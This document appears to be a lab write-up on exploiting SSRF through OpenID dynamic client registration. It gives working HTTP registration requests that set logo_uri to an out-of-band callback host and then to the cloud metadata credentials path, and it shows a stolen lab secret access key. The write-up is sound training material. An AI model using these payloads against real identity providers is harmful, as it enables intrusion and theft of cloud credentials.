LAB #01 SSRF via OpenID dynamic client registration

Lab Overview

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to accesshttp://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment.

Target:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

Credentials:
Username : wiener
Password : peter

What is SSRF?

An attacker can abuse a Server Side functionality to issue malicious requests to URLs that are not intended to be queried. By this an attacker might open internal URLs like http://127.0.0.1 which are normally not accessible.

What is OpenID Connect?

OpenID Connect (OIDC) is a login and identity system built on OAuth 2.0 that allows users to securely sign in to applications using existing accounts such as Google, Microsoft, or other identity providers, without the application needing to store the user’s password.

What is OpenID dynamic client registration?

OpenID Dynamic Client Registration is a feature in OpenID Connect that allows an application to automatically register itself with the identity provider and receive a client_id and client_secret without manual setup in the provider dashboard.

Exploitation

#1 Logging In

After starting the lab, the provided credentials were used to log in, and Burp Suite captured the application traffic.

While accessing the /my-account it redirected to /social-login which communicate with https://oauth-<temporary-id>

#2 Finding the Endpoint

If Dynamic Client Registration is enabled, the application can send a POST request to a /registration endpoint to create its OAuth/OIDC client automatically.

The request usually contains information about the application in JSON format, such as:

• redirect URIs

• application name

• logo URI

• supported authentication methods

After successful registration, the provider returns credentials like a client_id and client_secret that are later used during the login flow.

Example registration request:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

If Dynamic Client Registration does not require authentication, attackers may register malicious applications and potentially exploit vulnerabilities such as SSRF.

We already go that it is communicating with another host:

The request was sent to Burp Repeater to check the OpenID configuration endpoint at /.well-known/openid-configuration.

#3 Client Registration

The OAuth server exposed a registration endpoint at /reg.

"registration_endpoint":"https://oauth-0a9500e6037ae80d80265671028300b9.oauth-server.net/reg",

Next, we need to register our own client application with the OAuth service.

So we need to create a POST request to dynamically register a client/myself:

POST /reg HTTP/1.1
Host: oauth-0a2400cc04337b2fc038f7ce02e90099.oauth-server.net
Content-Type: application/json
Content-Length: 63

{
    "redirect_uris": [
        "https://test.com"
    ]
}

successfully registered a new client application, and the server returned a client_id: hb7m3_9dQzQhcdK3Zk96S

In HTTP history showed the OAuth page loading a logo from /client/<client_id>/logo.

So we tried with our client id.

But it showed 204 No Content.

#4 SSRF

The client registration was successful. The next step was to test whether the logo_uri parameter could be abused to trigger SSRF requests to internal endpoints such as http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

• Go to Burp Collaborator and click copy to clipboard. 6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com

• Register a Client application with logo_uri

  POST /reg HTTP/1.1
  Host: oauth-0a2300af04ce8af38195335f02be005b.oauth-server.net
  Content-Type: application/json
  Content-Length: 137
  
  {
      "redirect_uris": [
          "https://test.com"
      ],
      "logo_uri": "https://6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com"
  }    
  

  

Now we get a different client_id: UcwVTh2cRaElSEyPxOrWx

• Using that client_id to fetch logo

Successfully received a HTTP request, OAuth server is using the logo_uri and fetch the logo.

• SSRF attack
  Craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

• Register a new client application with logo_uri

  POST /reg HTTP/1.1
  Host: oauth-0a21000f03f6d5a5807de72a02aa00f7.oauth-server.net
  Content-Type: application/json
  Content-Length: 156
  
  {
      "redirect_uris": [
          "https://test.com"
      ],
      "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
  }
  

  

  And we got a client_id: Mr_LXxqe7V1ciR16pSPYv

• Now use the client_id to fetch logo

  

  Successfully retrieved the secret access key for the OAuth provider's cloud environment.
  SecretAccessKey: ZjLmbIbHRNTBgWOmpyfTYf0CFebNL6Ly1G2LGJ7Y

  Submit it!

  

# And That’s a Wrap

Even trusted login features can open unexpected attack paths.